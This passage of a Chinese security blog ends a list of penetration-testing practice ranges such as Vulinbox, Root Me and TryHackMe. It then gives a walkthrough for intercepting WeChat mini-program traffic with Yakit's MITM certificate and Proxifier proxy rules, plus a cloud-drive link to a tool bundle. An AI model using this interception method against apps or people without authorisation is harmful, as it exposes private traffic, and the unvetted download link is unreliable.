flag。其靶机涵盖从入门到高阶的难度，适合不同水平的渗透测试爱好者学习与练习。这个靶场类似于Vulnhub，是综合靶机，其中部分靶机包含了域，还有少有的开源windows机器相关文章：全网首发！HMV全套13台windows域渗透教程，3w字超详细！推荐指数：⭐⭐⭐⭐⭐9、Yakit靶场-VulinboxVulinbox 是一个精心设计的 Web 安全漏洞靶场，它模拟了各类真实场景中可能出现的安全漏洞，为安全研究人员和渗透测试工程师提供了一个理想的学习和实践平台。推荐指数：⭐⭐⭐⭐10、The Hackers Labshttps://thehackerslabs.com/这是一个由行业专家设计的专业平台，提供网络安全培训、企业级解决方案，以及各种实践性的黑客挑战项目。最棒的是：所有这些服务都是完全免费的！你可以亲自尝试这些功能，学习相关知识，还能与黑客社区的其他成员一起参与竞赛！windows靶机分享，免官网下载，扫码即可保存：推荐指数：⭐⭐⭐⭐⭐11、Root Me网址：https://www.root-me.org/Root Me 是一个国际知名且免费的在线网络安全学习平台，提供CTF风格的网络安全挑战，涵盖密码学、WEB、脚本、网络、编程等内容的靶场，适合中高级学习者。12、Try Hack Me网址：https://tryhackme.com/Try Hack Me 是一个适…

告别burp，2026最新yakit + proxifier小程序抓包教程
type: item
date: 2025-12-16T20:20:39+08:00
description: 在使用burp抓包的时候，最近老有问题，抓不到包，干脆直接用yakit了用完之后真香，不说那么多废话直接开始⬇⬇⬇⬇⬇本文配套工具 中文proxifier+yakit 地址 ⬇⬇⬇⬇⬇https://pan.quark.cn/s/d074defb7120⬆⬆⬆⬆⬆⬆⬆首先我们打开 proxifier，我们选择配置文件添加代理服务器，配置如下打开yakit，安装MITM证书！选择手动安装，这步是重点！双击执行选择是开始抓包选择MITM，并配置好代理切换proxifier设置代理规则选择添加（我这里已经添加好了）我们随便打开一个小程序，在任务管理器中找到这个应用下拉，随便选一个打开文件所在位置找到这个exe在proxifier的代理规则中，添加代理规则，选择浏览找到微信小程序的那个app他会出现如下内容再选择这里点击确定即可，确保你这个勾选好了这个时候yakit就能正常抓小程序包了，选择手动劫持或者自动劫持都可以，用过之后就知道什么东西了常见问题proxifier抓不到小程序包1、在配置文件中找到高级选项，再选择HTTP代理服务器打开这个选项2、在配置文件中找到名称解析取消勾选自动检测DNS，选择通过代理解析主机名称这样之后，proxifier 就能抓到小程序的包了，尽情的渗透测试吧！